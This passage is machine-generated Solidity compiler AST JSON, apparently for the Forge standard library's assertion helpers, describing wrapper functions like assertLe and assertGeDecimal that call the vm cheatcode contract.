56","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1881,"mutability":"mutable","name":"decimals","nameLocation":"14772:8:1","nodeType":"VariableDeclaration","scope":1896,"src":"14764:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1880,"name":"uint256","nodeType":"ElementaryTypeName","src":"14764:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1883,"mutability":"mutable","name":"err","nameLocation":"14796:3:1","nodeType":"VariableDeclaration","scope":1896,"src":"14782:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1882,"name":"string","nodeType":"ElementaryTypeName","src":"14782:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14734:66:1"},"returnParameters":{"id":1885,"nodeType":"ParameterList","parameters":[],"src":"14823:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1911,"nodeType":"FunctionDefinition","src":"14892:108:1","nodes":[],"body":{"id":1910,"nodeType":"Block","src":"14959:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1906,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1898,"src":"14981:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1907,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1900,"src":"14987:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":1903,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14969:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1905,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14972:8:1","memberName":"assertLe","nodeType":"MemberAccess","referencedDeclaration":14225,"src":"14969:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":1908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14969:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1909,"nodeType":"ExpressionStatement","src":"14969:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"14901:8:1","parameters":{"id":1901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1898,"mutability":"mutable","name":"left","nameLocation":"14917:4:1","nodeType":"VariableDeclaration","scope":1911,"src":"14910:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1897,"name":"int256","nodeType":"ElementaryTypeName","src":"14910:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1900,"mutability":"mutable","name":"right","nameLocation":"14930:5:1","nodeType":"VariableDeclaration","scope":1911,"src":"14923:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1899,"name":"int256","nodeType":"ElementaryTypeName","src":"14923:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"14909:27:1"},"returnParameters":{"id":1902,"nodeType":"ParameterList","parameters":[],"src":"14959:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1929,"nodeType":"FunctionDefinition","src":"15006:132:1","nodes":[],"body":{"id":1928,"nodeType":"Block","src":"15092:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1923,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1913,"src":"15114:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1924,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1915,"src":"15120:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1925,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1917,"src":"15127:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1920,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15102:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1922,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15105:8:1","memberName":"assertLe","nodeType":"MemberAccess","referencedDeclaration":14235,"src":"15102:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":1926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15102:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1927,"nodeType":"ExpressionStatement","src":"15102:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"15015:8:1","parameters":{"id":1918,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1913,"mutability":"mutable","name":"left","nameLocation":"15031:4:1","nodeType":"VariableDeclaration","scope":1929,"src":"15024:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1912,"name":"int256","nodeType":"ElementaryTypeName","src":"15024:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1915,"mutability":"mutable","name":"right","nameLocation":"15044:5:1","nodeType":"VariableDeclaration","scope":1929,"src":"15037:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1914,"name":"int256","nodeType":"ElementaryTypeName","src":"15037:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1917,"mutability":"mutable","name":"err","nameLocation":"15065:3:1","nodeType":"VariableDeclaration","scope":1929,"src":"15051:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1916,"name":"string","nodeType":"ElementaryTypeName","src":"15051:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15023:46:1"},"returnParameters":{"id":1919,"nodeType":"ParameterList","parameters":[],"src":"15092:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1947,"nodeType":"FunctionDefinition","src":"15144:150:1","nodes":[],"body":{"id":1946,"nodeType":"Block","src":"15236:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1941,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1931,"src":"15265:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1942,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1933,"src":"15271:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1943,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1935,"src":"15278:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1938,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15246:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1940,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15249:15:1","memberName":"assertLeDecimal","nodeType":"MemberAccess","referencedDeclaration":14187,"src":"15246:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":1944,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15246:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1945,"nodeType":"ExpressionStatement","src":"15246:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"15153:15:1","parameters":{"id":1936,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1931,"mutability":"mutable","name":"left","nameLocation":"15176:4:1","nodeType":"VariableDeclaration","scope":1947,"src":"15169:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1930,"name":"int256","nodeType":"ElementaryTypeName","src":"15169:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1933,"mutability":"mutable","name":"right","nameLocation":"15189:5:1","nodeType":"VariableDeclaration","scope":1947,"src":"15182:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1932,"name":"int256","nodeType":"ElementaryTypeName","src":"15182:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1935,"mutability":"mutable","name":"decimals","nameLocation":"15204:8:1","nodeType":"VariableDeclaration","scope":1947,"src":"15196:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1934,"name":"uint256","nodeType":"ElementaryTypeName","src":"15196:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15168:45:1"},"returnParameters":{"id":1937,"nodeType":"ParameterList","parameters":[],"src":"15236:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1968,"nodeType":"FunctionDefinition","src":"15300:174:1","nodes":[],"body":{"id":1967,"nodeType":"Block","src":"15411:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1961,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1949,"src":"15440:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1962,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1951,"src":"15446:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1963,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1953,"src":"15453:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1964,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1955,"src":"15463:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1958,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15421:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1960,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15424:15:1","memberName":"assertLeDecimal","nodeType":"MemberAccess","referencedDeclaration":14199,"src":"15421:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":1965,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15421:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1966,"nodeType":"ExpressionStatement","src":"15421:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"15309:15:1","parameters":{"id":1956,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1949,"mutability":"mutable","name":"left","nameLocation":"15332:4:1","nodeType":"VariableDeclaration","scope":1968,"src":"15325:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1948,"name":"int256","nodeType":"ElementaryTypeName","src":"15325:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1951,"mutability":"mutable","name":"right","nameLocation":"15345:5:1","nodeType":"VariableDeclaration","scope":1968,"src":"15338:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1950,"name":"int256","nodeType":"ElementaryTypeName","src":"15338:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1953,"mutability":"mutable","name":"decimals","nameLocation":"15360:8:1","nodeType":"VariableDeclaration","scope":1968,"src":"15352:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1952,"name":"uint256","nodeType":"ElementaryTypeName","src":"15352:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1955,"mutability":"mutable","name":"err","nameLocation":"15384:3:1","nodeType":"VariableDeclaration","scope":1968,"src":"15370:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1954,"name":"string","nodeType":"ElementaryTypeName","src":"15370:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15324:64:1"},"returnParameters":{"id":1957,"nodeType":"ParameterList","parameters":[],"src":"15411:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1983,"nodeType":"FunctionDefinition","src":"15480:110:1","nodes":[],"body":{"id":1982,"nodeType":"Block","src":"15549:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1978,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1970,"src":"15571:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1979,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1972,"src":"15577:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1975,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15559:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15562:8:1","memberName":"assertGe","nodeType":"MemberAccess","referencedDeclaration":14047,"src":"15559:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":1980,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15559:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1981,"nodeType":"ExpressionStatement","src":"15559:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"15489:8:1","parameters":{"id":1973,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1970,"mutability":"mutable","name":"left","nameLocation":"15506:4:1","nodeType":"VariableDeclaration","scope":1983,"src":"15498:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1969,"name":"uint256","nodeType":"ElementaryTypeName","src":"15498:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1972,"mutability":"mutable","name":"right","nameLocation":"15520:5:1","nodeType":"VariableDeclaration","scope":1983,"src":"15512:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1971,"name":"uint256","nodeType":"ElementaryTypeName","src":"15512:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15497:29:1"},"returnParameters":{"id":1974,"nodeType":"ParameterList","parameters":[],"src":"15549:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2001,"nodeType":"FunctionDefinition","src":"15596:134:1","nodes":[],"body":{"id":2000,"nodeType":"Block","src":"15684:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1995,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1985,"src":"15706:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1996,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1987,"src":"15712:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1997,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1989,"src":"15719:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1992,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15694:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1994,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15697:8:1","memberName":"assertGe","nodeType":"MemberAccess","referencedDeclaration":14057,"src":"15694:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":1998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15694:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1999,"nodeType":"ExpressionStatement","src":"15694:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"15605:8:1","parameters":{"id":1990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1985,"mutability":"mutable","name":"left","nameLocation":"15622:4:1","nodeType":"VariableDeclaration","scope":2001,"src":"15614:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1984,"name":"uint256","nodeType":"ElementaryTypeName","src":"15614:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1987,"mutability":"mutable","name":"right","nameLocation":"15636:5:1","nodeType":"VariableDeclaration","scope":2001,"src":"15628:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1986,"name":"uint256","nodeType":"ElementaryTypeName","src":"15628:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1989,"mutability":"mutable","name":"err","nameLocation":"15657:3:1","nodeType":"VariableDeclaration","scope":2001,"src":"15643:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1988,"name":"string","nodeType":"ElementaryTypeName","src":"15643:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15613:48:1"},"returnParameters":{"id":1991,"nodeType":"ParameterList","parameters":[],"src":"15684:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2019,"nodeType":"FunctionDefinition","src":"15736:152:1","nodes":[],"body":{"id":2018,"nodeType":"Block","src":"15830:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2013,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2003,"src":"15859:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2014,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2005,"src":"15865:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2015,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2007,"src":"15872:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2010,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"15840:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2012,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15843:15:1","memberName":"assertGeDecimal","nodeType":"MemberAccess","referencedDeclaration":14005,"src":"15840:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":2016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15840:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2017,"nodeType":"ExpressionStatement","src":"15840:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"15745:15:1","parameters":{"id":2008,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2003,"mutability":"mutable","name":"left","nameLocation":"15769:4:1","nodeType":"VariableDeclaration","scope":2019,"src":"15761:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2002,"name":"uint256","nodeType":"ElementaryTypeName","src":"15761:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2005,"mutability":"mutable","name":"right","nameLocation":"15783:5:1","nodeType":"VariableDeclaration","scope":2019,"src":"15775:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2004,"name":"uint256","nodeType":"ElementaryTypeName","src":"15775:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2007,"mutability":"mutable","name":"decimals","nameLocation":"15798:8:1","nodeType":"VariableDeclaration","scope":2019,"src":"15790:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2006,"name":"uint256","nodeType":"ElementaryTypeName","src":"15790:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15760:47:1"},"returnParameters":{"id":2009,"nodeType":"ParameterList","parameters":[],"src":"15830:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2040,"nodeType":"FunctionDefinition","src":"15894:176:1","nodes":[],"body":{"id":2039,"nodeType":"Block","src":"16007:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2033,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2021,"src":"16036:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2034,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2023,"src":"16042:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2035,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2025,"src":"16049:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":2036,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2027,"src":"16059:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":2030,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"16017:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":2032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16020:15:1","memberName":"assertGeDecimal","nodeType":"MemberAccess","referencedDeclaration":14017,"src":"16017:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":2037,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16017:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2038,"nodeType":"ExpressionStatement","src":"16017:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"15903:15:1","parameters":{"id":2028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2021,"mutability":"mutable","name":"left","nameLocation":"15927:4:1","nodeType":"VariableDeclaration","scope":2040,"src":"15919:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2020,"name":"uint256","nodeType":"ElementaryTypeName","src":"15919:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2023,"mutability":"mutable","name":"right","nameLocation":"15941:5:1","nodeType":"VariableDeclaration","scope":2040,"src":"15933:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2022,"name":"uint256","nodeType":"ElementaryTypeName","src":"15933:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2025,"mutability":"mutable","name":"decimals","nameLocation":"15956:8:1","nodeType":"VariableDeclaration","scope":2040,"src":"15948:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2024,"name":"uint256","nodeType":"ElementaryTypeName","src":"15948:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":2027,"mutability":"mutable","name":"err","nameLocation":"15980:3:1","nodeType":"VariableDeclaration","scope":2040,"src":"15966:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2026,"name":"string","nodeType":"ElementaryTypeName","src":"15966:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15918:66:1"},"returnParameters":{"id":2029,"nodeType":"ParameterList","parameters":[],"src":"16007:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":2055,"nodeType":"FunctionDefinition","src":"16076:108:1","nodes":[],"body":{"id":2054,"nodeType":"Block","src":"16143:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":2050,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2042,"src":"16165:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":2051,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2044,"src":"16171:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","t